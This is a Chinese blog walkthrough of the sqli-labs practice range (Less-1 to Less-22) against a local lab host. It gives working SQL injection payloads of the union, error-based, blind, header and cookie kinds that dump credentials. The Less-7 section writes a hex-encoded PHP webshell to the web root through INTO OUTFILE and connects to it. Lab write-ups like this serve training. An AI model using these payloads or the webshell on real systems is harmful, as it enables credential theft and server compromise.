sqli 靶场通关(持续更新)

第一关:Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

(05\4日更新)

手工union联合查询注入

一:判断注入类型

url=http://127.0.0.2/Less-1/?id=1'

看回显的报错信息

这里说: '1'' LIMIT 0,1    这里的1被单引号包裹说明这里是字符型然后  '  引号闭合。

收获:字符型, ' 号闭合

二:进行联合注入

联合注入需要的条件有不清楚的小伙伴可以去这篇文章看看

https://www.freebuf.com/vuls/254621.html

1.找到当前表的列数

因为联合注入虚拟表是列数要和当前表的列数一致

我们可以通过[order by]语句来判断,[order by]语句的作用是按照某一列进行排序数。并且在Mysql数据库中可以用数字来代替对应的列表

order by 3   正常   

 

order by 4  异常

说明当前表有三列

 

2.联合注入查询库

url = http://127.0.0.2/Less-1/?id=-1'union select 1,2,database() --+

注意:这里要知道联合注入时,你前面的值要为假的时候,也就是数据不存在时,union select之后查询出的结果就会显示在页面中

3.查询当前表

url = http://127.0.0.2/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

解析url:

group_concat(),函数作用:把回显全部拼接到一起,这样就可以获得全部回显

information_schema源数据库数据库

information_schema.tables:存放所有表名的表

information_schema.columns:(存所有字段名的表)

information_schema.table_name:(存表名的字段)

table_schema:(存表所属数据库的字段)

column_name:存字段名的字段)

table_name:(存字段所属表的字段)

 

 

收获:拿到了以下的表

4.爆列名了,也就是爆字段

url  = http://127.0.0.2/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

 5.爆值

url = http://127.0.0.2/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users--+

解析:0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。

 

 

 第二关:Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

 这里和第一题的区别就是一题是字符型,这题是整型注入。

看下区别:

报错信息是:' LIMIT 0,1

所以说明这里是整型

payload就是把上题的id=1'  后面的分号去除

 

 

url = ?id=-1 union select 1,2,group_concat(username,0x3a,password) from users--+

 

 第三题:Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

一:分析报错信息

url = http://127.0.0.2/Less-3/?id=1'

报错位置 :   '1'') LIMIT 0,1

 

 种类:字符型,且有括号包裹
所以这里的payload要在id=1'后面加上)号,这是因为这样才能闭合前面的语句,其他参数和前面一样
 
url  =  http://127.0.0.2/Less-3/?id=0') union select 1,2,group_concat(username,0x3a,password) from users--+

 

 
 

第四题:Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

(05\5日更新)

一:判断类型和闭合方式

输入 '  单引号无报错,输入 "  双引号报错。

 报错信息给到 : "1"") LIMIT 0,1  可以看出这里是双引号加括号闭合的字符型

联合注入

所以联合注入payload就是把前面几题的id=1后面加上 " 引号和 )号。

步骤:

1.爆当前表的列

url = http://127.0.0.2/Less-4/?id=-1") order by 4 --+

2.爆当前的库

url = http://127.0.0.2/Less-4/?id=-1") union select 1,2,database() --+ 

3.爆表名

url = http://127.0.0.2/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

4.爆字段

url = http://127.0.0.2/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+   注意:后面的字段所属表的判断语句要加  '   '  单引号包裹

5.爆值

url = http://127.0.0.2/Less-4/?id=-1") union select 1,2,group_concat(username,0x3a,password) from users --+

注:0x3a   0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username

 

报错注入

1.检测是否存在sql注入

url = http://127.0.0.2/Less-4/?id=1") and 1=1 --+

返回正常

url = http://127.0.0.2/Less-4/?id=1") and 1=2 --+

返回异常

2.爆表

url = http://127.0.0.2/Less-4/?id=1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

标注部分是查询语句

 

url解析:

0x7e是,号

函数解析 :

extractvalue:

  • extractvalue ():从目标XML中返回包含所查询值的字符串。如果第二个参数不是Xpath格式的字符串,则会报错。可以利用concat函数拼接查询结果和非Xpath格式的字符串

3.爆列名(字段)

url one = http://127.0.0.2/Less-4/?id=1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+       标黄部分为查询语句

但是字段没有完全显示

这里我们需要使用 not in 来显示其他字段 

在上面的查询语句后面使用 and column not in 

url two = http://127.0.0.2/Less-4/?id=1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','us')))) --+     标黄部分为查询语句

 

4.爆值

url = http://127.0.0.2/Less-4/?id=1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

同样如果需要后面的数据就加上  where username not in ('Dumb','Angelina')

 

 

 

第五题:Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

一: 查看注入类型和闭合符

url = http://127.0.0.2/Less-5/?id=1'

爆错内容:'1'' LIMIT 0,1

说明这里是字符型报错,单引号闭合

二:寻找合适的注入手段

一常识用uinon联合注入,发现没有回显点,。

所以我们可以尝试使用布尔盲注或者报错注入或者时间延迟注入。

1.时间延迟注入

(1)检测是否是否能够出现延迟

url = http://127.0.0.2/Less-5/?id=1' and sleep(3) --+

发现确实出现了3秒的延迟

 

 (2)进行注入

延时注入和报错型注入payload都有一个特征,payload  =  ?id=1' and if(报错型payload核心部分,sleep(5),1)--+

(3)爆库长

url = http://127.0.0.2/Less-5/?id=1' and if(length(database())=8,sleep(2),1) --+

根据前面的题目我们猜测数据库还是  security

(4)爆库名

url = http://127.0.0.2/Less-5/?id=1' and if((substr(database(),1,1)='s'),sleep(2),1) --+

如果感觉感受时间太不客观,可以直接看network里面的响应时间

函数解析:substr(string, start, length)

这里就是从第一个开始取一个字符进行匹配

然后需要急需爆破就用字母去一个一个测试就行 或者用for循环写个脚本都行

果然 结果还是 security

 

 

 

 

 

(5)爆表名

url one = http://127.0.0.2/Less-5/?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='r' ,sleep(5),1)--+

结果:成功延时

 url two = http://127.0.0.2/Less-5/?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u' ,sleep(5),1)--+

这里就找到了users表了

明天写个脚本来爆破

 

url 解析:

limit子句的介绍:

select * from table limit m,n

其中,m 是起始位置,可以是正数或负数,n 是要返回的行数

如果要从表中返回第 6 行到第 10 行的数据,可以使用:

select * from table limit 5,5

这将跳过前 5 行,然后返回接下来的 5 行

 

 

(6)爆列名

首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值。

url =  ?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

url 解析:

left函数:

left(str, length)

其中,str 是要提取子字符串的字符串,length 是一个正整数,指定将从左边返回的字符数123

例如,如果要从字符串 "SQL Server" 中提取左边的 3 个字符,可以使用:

left("SQL Server", 3)

这将返回 "SQL"2

 

(7)爆值

url one = ?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

url two = ?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

这里主要手工注入借鉴了前面的经验,不然得太累了

对于这种重复性工作还是交给sqlmap吧。

 

 

 六题:Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

(05\6日更新)

一:判断注入类型和闭合方式

url = http://127.0.0.2/Less-6/?id=1"

报错内容: "1"" LIMIT 0,1

说明这里是字符型双引好闭合。

 

双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap,再有利用concat()几聚合数。

步骤和第五题一样,可以回去看上面的步骤。

 

七题:Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

一:检查注入类型

这里测试了单引号,双引号都没回显

 单引号有报错但是双引号没有

如何找到我们的闭合方式呢

我们可以利用sleep函数来检查我们的闭合是否正确,然后(常见的)不同的闭合符一个一个尝试

如果sleep函数被执行了则说明我们的闭合符正确了

这里也可以用脚本来爆破

经过尝试发现闭合符是     '))   .

 二:进行注入尝试,写入文件

 

注意:这里可能很多小伙伴无法写入文件,我们应该先看看我们的mysql是否开启了写入文件的功能。

在我们PHPstudy的mysql安装目录找到   my.ini 文件

看是否开启secure-file-priv写文件权限,否则不能写入文件

进入mysql安装目录,找到my.ini 修改里面的secure-file-priv参数

如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可

 

接下来我们就可写入木马了

 

但是我们根据题目的提示可以知道应该需要用到文件导出,我们来写入执行木马。

 但是不知道这里的绝对路径是啥,可以看我们本机的路径也可以通过前面的题目来查找

url = http://127.0.0.2/Less-2/?id=-1 union select 1,@@basedir,@@datadir --+

 

或者直接尝试一些常见的路径

这里插个小扩展:

winserver的iis默认路径c:\Inetpub\wwwroot

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就.../var/www/htm,.../var/www/html/htdocs

phpstudy 就是...\PhpStudy20180211\PHPTutorial\WWW\

xammp 就是...\xampp\htdocs

 

然后写入一句话木马

http://127.0.0.2/Less-7/?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile "D:\\phpstudy_pro\\WWW\\sqli\\Less-7\\aaa.php"--+   (这里写入的一句话木马进行了hex转码是为了防止被拦截,但是这里似乎不转码也行)

需要注意的是这里路径之间需要用 \\ 号隔开。(原理就是  转译)

这里查看下文件成功写入,发现文件成功写入,或者前端访问一下文件。

 访问也可以成功访问

 

三:写入木马成功后用蚁剑连接

连接成功

 (5.7)

第八题:Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

一:检测注入类型和闭合符

url = http://127.0.0.2/Less-8/?id=1' and sleep(5) --+

结论:出现时间延迟说明闭合符是  '   ,然后字符型

二:然后进行布尔盲注

和less5步骤payload几乎一样

最后爆值

url = http://127.0.0.2/Less-8/?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),1) --+

 

第九题:Less-9 GET - Blind - Time based. -  Single Quotes  (基于时间的GET单引号盲注)

一:判断类型

输入id=1'  但是没有报错也没有显示异常

 

然后根据提示我们尝试时间盲注,

发现明显延迟,这里我们就利用时间盲注来做这一道题。

 

二:爆破

1.爆库

库长:

url = http://127.0.0.2/Less-9/?id=1' and if(length(database())=8,sleep(3),1) --+

结果:当库长为8时延迟明显所以库长为8

库名:

url = ?id=1' and if(left(database(),8)='security' , sleep(3), 1) --+

根据前面的经验直接尝试security。发现果然如此

2.爆表

url = http://127.0.0.2/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(3),1) --+

前面第五题有讲limit函数的作用

这里爆出来我们需要的列表users

在存表名的表的第4行

3.爆列名,字段

(1)

url =  http://127.0.0.2/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(3),1) --+

这里再第五行爆出password字段也就是列名

(2)

payload = ?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+

这里爆出username字段

4.爆值

(1)password

url = http://127.0.0.2/Less-9/?id=1' and if(left((select password from users limit 0,1),4)='dumb',sleep(3),1) --+

 

(2)username

url = http://127.0.0.2/Less-9/?id=1' and if(left((select username from users limit 0,1),4)='dumb',sleep(3),1) --+

 

第十题:Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

一:和上一题几乎一样,把payload里面 单引号 改为 双引号 就行

 

第十一题:Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

一:判断类型

输入1'

报错内容 : '1'' and password=

说明单引号闭合,字符型

 

二:判断当前表的列数

1' order by 2#

1' order by 3#

 

 

三:爆值

payload = -1' union select 1,group_concat(concat_ws('~',username,password)) from security.users #

 

(5.8)

 第十二关:Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

1.检查注入类型

报错:

 结论:双引号括号闭合字符型

这里和题目名字还不太一样这里是 ") 类型闭合

2.尝试注入

(1)union 联合注入

payload = -1") union select 1,group_concat(concat_ws('~',username,password)) from security.users #

 

提醒一下如果使用hackbar进行注入的时候:

如果出现了,form.submit is not a function

这个时候把   submit=submit 的前面一个s改为大写 Submit=submit

(2)闭合后面语句

payload = admin")#

 这里是通过跳过后面的password检查而成功注入

第十三关:Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

1.检查注入类型

在usernam处输入:1'

出现报错:'1'') and password=('') LIMIT 0,1

 结论:字符型,闭合符 ')

2.注入

使用admin')# 或者其他发现都没有回显

(1)猜测使用时间盲注

用 admin') and sleep(3) --+

发先有明显延迟,说明存在时间延迟注入

   进行注入

payload =  uname=admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&Submit=Submit

注意之里是 uname 不是username

这里是hackbar抓下来的内容

 

(2)报错注入(有报错信息返回)

payload = uname=admin') and extractvalue(1,concat(0x7e,(select database())))  --+&passwd=admin&Submit=Submit

 

接下来的步骤就和前面一样了,就只需要改变查询语句就行

 (5.9号)

第十四关:Less-14 POST - Double Injection - Single quotes-  String -twist

1.检测注入类型

payload = 1"

报错: near '"1"" and password="" LIMIT 0,1' at line 1

结论: 输入内容被放到双引号中,报错型注入,注释符不可用

 2.进行注入

(1)报错型

目前手工注入最优选,花费时间最少

payload = uname=admin" and extractvalue(1,concat(0x3a,(select database()))) and " &passwd=&Submit=Submit

 payload :  uname=admin" and extractvalue(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=&Submit=Submit

后面的步骤和前面的差距不大

(2)时间型盲注

建议:测试能行就可以了,比较浪费时间

payload: uname=admin" and if(left(database(),1)='s',sleep(3),1) --+ &passwd=admin&submit=Submit

 

十五题:less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

1.检测类型

bool型

payload:    passwd=&Submit=Submit&uname=admin' and 1=1 --+

payload:    passwd=&Submit=Submit&uname=admin' and 1=2 --+

 

 

 

 时间延迟:

payload:  passwd=&Submit=Submit&uname=admin' and sleep(5) --+

 

2.注入

(1)时间盲注

payload:

直接大礼包

uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit

 

(2)布尔盲注

payload:

大礼包大礼包

uname=admin' and length(database())=8--+&passwd=&Submit=Submit
uname=admin' and left(database(),1)='s'--+&passwd=&Submit=Submit
下面的payload就是把时间盲注的if函数去就行


如果正确就会返回登录成功

错误就会返回登录失败

 

 十六题:Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

1.判断注入类型和闭合符

题目提示了双引号,但是这里双引号却没有反应,所以猜测可能是")

payload :  passwd=&Submit=Submit&uname=admin") and 1=1 --+

 时间延迟测试一样成功:

payload : passwd=&Submit=Submit&uname=admin") and sleep(2) --+

 

2.爆破&注入

这里就是改变了闭合符,所以我们这里只需要改掉前面题目的闭合符就OK啦。

 十七题:Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

1.检查注入类型

首先在username处尝试输入 但是没有回显

然后感觉有点怪,我又尝试了一下 Password

这里发现有回显

payload : passwd=admin+%27+and+1%3D1--%2B&submit=Submit&uname=admin

报错返回结果:near 'admin'' at line 1

结论:字符型,  '  引号闭合

 

2.注入

(1)根据回显这里尝试报错注入

前面的payload都一样

payload :uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &Submit=Submit

 

 

十八题:Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)

1.判断报错类型

报错型,单引号,user-agent型注入点

用admin登录上了

看这里回显,有user agent 

 

 

 

 

 

 2.注入

这里需要使用bp在user-agent注入

(1)爆库

payload: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

 (2)爆表

payload : 'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '

 (3)爆字段(列名)

payload : 'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) and '

 

(4)爆值

payload: 'and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e)) and '

 

十九关:Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

(1)判断注入类型

 这道题只是注入位置不同,所以用上面的payload 改下注入位置就行

 

二十关:Less-20 POST - Cookie injections - Uagent field  - Error based (基于错误的cookie头部POST注入)

1.判断注入点和注入类型

(1)判断注入点

输入:admin   amdin 

返回love your cookies

结论:猜测注入点在cookie

 (2)判断闭合符

这里在Cookie处注入

得到报错回显:如下图

结论:有回显,闭合符是   ',方式就多了   

 

2.注入开始

(1)联合注入

由于这里有回显我们直接使用联合注入

一:判断当前表的列数

Cookie: uname=admin' order by 3--+ //1-3 正常
Cookie: uname=admin' order by 4--+ //4 不正常 ,确定行数为3

成功

 

未成功

 二:接下来就用前面联合注入的payload就可以了

payload: Cookie: uname=-admin' union select 1,2,group_concat(username,0x3a,password)from users--+

 二十一关:Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)

1.判断注入类型和闭合符

同上题一样输入  admin admin

返回如下

所以判断:这里注入点还是在cookie处

 判断闭合符 

前面admin登录并没有正常显示admin登录信息

查看wp后发现这里需要进行base64加密

这里用base64加密后才给出正常回显

 2.注入

接下来的payload就和上面的payload类似了

需要注意的是这里的注释符需要用 #

就进行一下base64加密就能够打通

paylod :

-admin') union select 1,2,database()#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

 

 二十二关:Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)

1.检测注入点和闭合符

使用 admin admin 登录

发现回显 

 猜测和上题一样注入点在cookie里面

base64编码,双引号,报错型,cookie型注入。

就闭合符变成了双引号

2.注入

uname=-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

 

posted @ 2023-05-04 22:15  小熊猫爱bamboo  阅读(701)  评论(0编辑  收藏  举报